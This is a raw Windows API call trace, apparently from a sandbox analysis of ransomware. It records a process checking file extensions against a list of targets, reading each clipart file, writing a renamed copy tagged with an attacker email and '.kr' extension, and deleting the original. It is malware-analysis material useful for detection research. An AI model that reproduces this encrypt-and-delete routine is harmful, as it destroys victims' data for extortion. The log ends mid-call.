[0214.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.156] lstrlenW (lpString=".docx") returned 5 [0214.156] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0214.156] lstrlenW (lpString=".pdf") returned 4 [0214.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.156] lstrlenW (lpString=".xls") returned 4 [0214.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.156] lstrlenW (lpString=".xlsx") returned 5 [0214.156] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0214.156] lstrlenW (lpString=".ppt") returned 4 [0214.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.156] lstrlenW (lpString=".zip") returned 4 [0214.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.156] lstrlenW (lpString=".rar") returned 4 [0214.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString=".bz2") returned 4 [0214.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString=".7z") returned 3 [0214.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.157] lstrlenW (lpString=".dbf") returned 4 [0214.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.157] lstrlenW (lpString=".1cd") returned 4 [0214.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.157] lstrlenW (lpString=".jpg") returned 4 [0214.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.157] lstrlenW (lpString=".doc") returned 4 [0214.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString=".docx") returned 5 [0214.157] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0214.157] lstrlenW (lpString=".pdf") returned 4 [0214.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString=".xls") returned 4 [0214.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.157] lstrlenW (lpString=".xlsx") returned 5 [0214.157] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0214.157] lstrlenW (lpString=".ppt") returned 4 [0214.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.157] lstrlenW (lpString=".zip") returned 4 [0214.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.157] lstrlenW (lpString=".rar") returned 4 [0214.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.158] lstrlenW (lpString=".bz2") returned 4 [0214.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.158] lstrlenW (lpString=".7z") returned 3 [0214.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.158] lstrlenW (lpString=".dbf") returned 4 [0214.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.158] lstrlenW (lpString=".1cd") returned 4 [0214.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.158] lstrlenW (lpString=".jpg") returned 4 [0214.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.158] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.158] lstrlenW (lpString="J0107728.WMF") returned 12 [0214.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0214.159] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5492) returned 1 [0214.159] CloseHandle (hObject=0x3f8) returned 1 [0214.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220 [0214.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0214.160] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.160] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.161] GetLastError () returned 0x0 [0214.161] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1574, lpOverlapped=0x0) returned 1 [0214.210] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1580, lpOverlapped=0x0) returned 1 [0214.211] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.211] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0214.211] SetEndOfFile (hFile=0x51c) returned 1 [0214.212] CloseHandle (hObject=0x51c) returned 1 [0214.212] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.212] SetEndOfFile (hFile=0x3f8) returned 1 [0214.214] CloseHandle (hObject=0x3f8) returned 1 [0214.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0214.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.216] lstrlenW (lpString=".doc") returned 4 [0214.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.216] lstrlenW (lpString=".docx") returned 5 [0214.216] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0214.216] lstrlenW (lpString=".pdf") returned 4 [0214.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.216] lstrlenW (lpString=".xls") returned 4 [0214.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.216] lstrlenW (lpString=".xlsx") returned 5 [0214.216] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0214.216] lstrlenW (lpString=".ppt") returned 4 [0214.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.216] lstrlenW (lpString=".zip") returned 4 [0214.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.216] lstrlenW (lpString=".rar") returned 4 [0214.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.216] lstrlenW (lpString=".bz2") returned 4 [0214.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString=".7z") returned 3 [0214.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.217] lstrlenW (lpString=".dbf") returned 4 [0214.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.217] lstrlenW (lpString=".1cd") returned 4 [0214.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.217] lstrlenW (lpString=".jpg") returned 4 [0214.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.217] lstrlenW (lpString=".doc") returned 4 [0214.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString=".docx") returned 5 [0214.217] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0214.217] lstrlenW (lpString=".pdf") returned 4 [0214.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString=".xls") returned 4 [0214.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.217] lstrlenW (lpString=".xlsx") returned 5 [0214.217] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0214.217] lstrlenW (lpString=".ppt") returned 4 [0214.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.217] lstrlenW (lpString=".zip") returned 4 [0214.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.217] lstrlenW (lpString=".rar") returned 4 [0214.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.217] lstrlenW (lpString=".bz2") returned 4 [0214.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.218] lstrlenW (lpString=".7z") returned 3 [0214.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.218] lstrlenW (lpString=".dbf") returned 4 [0214.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.218] lstrlenW (lpString=".1cd") returned 4 [0214.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0214.218] lstrlenW (lpString=".jpg") returned 4 [0214.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.218] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.218] lstrlenW (lpString="J0107730.WMF") returned 12 [0214.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0214.219] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3060) returned 1 [0214.219] CloseHandle (hObject=0x3f8) returned 1 [0214.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220 [0214.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0214.220] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.220] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.221] GetLastError () returned 0x0 [0214.221] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xbf4, lpOverlapped=0x0) returned 1 [0214.222] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xc00, lpOverlapped=0x0) returned 1 [0214.223] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.223] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0214.223] SetEndOfFile (hFile=0x51c) returned 1 [0214.224] CloseHandle (hObject=0x51c) returned 1 [0214.224] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.224] SetEndOfFile (hFile=0x3f8) returned 1 [0214.226] CloseHandle (hObject=0x3f8) returned 1 [0214.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0214.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.228] lstrlenW (lpString=".doc") returned 4 [0214.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString=".docx") returned 5 [0214.228] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0214.228] lstrlenW (lpString=".pdf") returned 4 [0214.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString=".xls") returned 4 [0214.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.228] lstrlenW (lpString=".xlsx") returned 5 [0214.228] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0214.228] lstrlenW (lpString=".ppt") returned 4 [0214.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.228] lstrlenW (lpString=".zip") returned 4 [0214.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.228] lstrlenW (lpString=".rar") returned 4 [0214.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString=".bz2") returned 4 [0214.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString=".7z") returned 3 [0214.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.228] lstrlenW (lpString=".dbf") returned 4 [0214.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.228] lstrlenW (lpString=".1cd") returned 4 [0214.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.228] lstrlenW (lpString=".jpg") returned 4 [0214.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.229] lstrlenW (lpString=".doc") returned 4 [0214.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString=".docx") returned 5 [0214.229] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0214.229] lstrlenW (lpString=".pdf") returned 4 [0214.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString=".xls") returned 4 [0214.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.229] lstrlenW (lpString=".xlsx") returned 5 [0214.229] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0214.229] lstrlenW (lpString=".ppt") returned 4 [0214.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.229] lstrlenW (lpString=".zip") returned 4 [0214.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.229] lstrlenW (lpString=".rar") returned 4 [0214.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString=".bz2") returned 4 [0214.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString=".7z") returned 3 [0214.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.229] lstrlenW (lpString=".dbf") returned 4 [0214.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.229] lstrlenW (lpString=".1cd") returned 4 [0214.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0214.229] lstrlenW (lpString=".jpg") returned 4 [0214.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.230] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.230] lstrlenW (lpString="J0107734.WMF") returned 12 [0214.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0214.230] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3140) returned 1 [0214.231] CloseHandle (hObject=0x3f8) returned 1 [0214.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220 [0214.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0214.231] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.231] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.232] GetLastError () returned 0x0 [0214.232] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xc44, lpOverlapped=0x0) returned 1 [0214.576] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xc50, lpOverlapped=0x0) returned 1 [0214.577] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.577] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0214.577] SetEndOfFile (hFile=0x51c) returned 1 [0214.578] CloseHandle (hObject=0x51c) returned 1 [0214.578] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.578] SetEndOfFile (hFile=0x3f8) returned 1 [0214.580] CloseHandle (hObject=0x3f8) returned 1 [0214.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0215.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0215.144] lstrlenW (lpString=".doc") returned 4 [0215.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0215.144] lstrlenW (lpString=".docx") returned 5 [0215.144] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0215.144] lstrlenW (lpString=".pdf") returned 4 [0215.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0215.144] lstrlenW (lpString=".xls") returned 4 [0215.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0215.145] lstrlenW (lpString=".xlsx") returned 5 [0215.145] lstrcmpiW 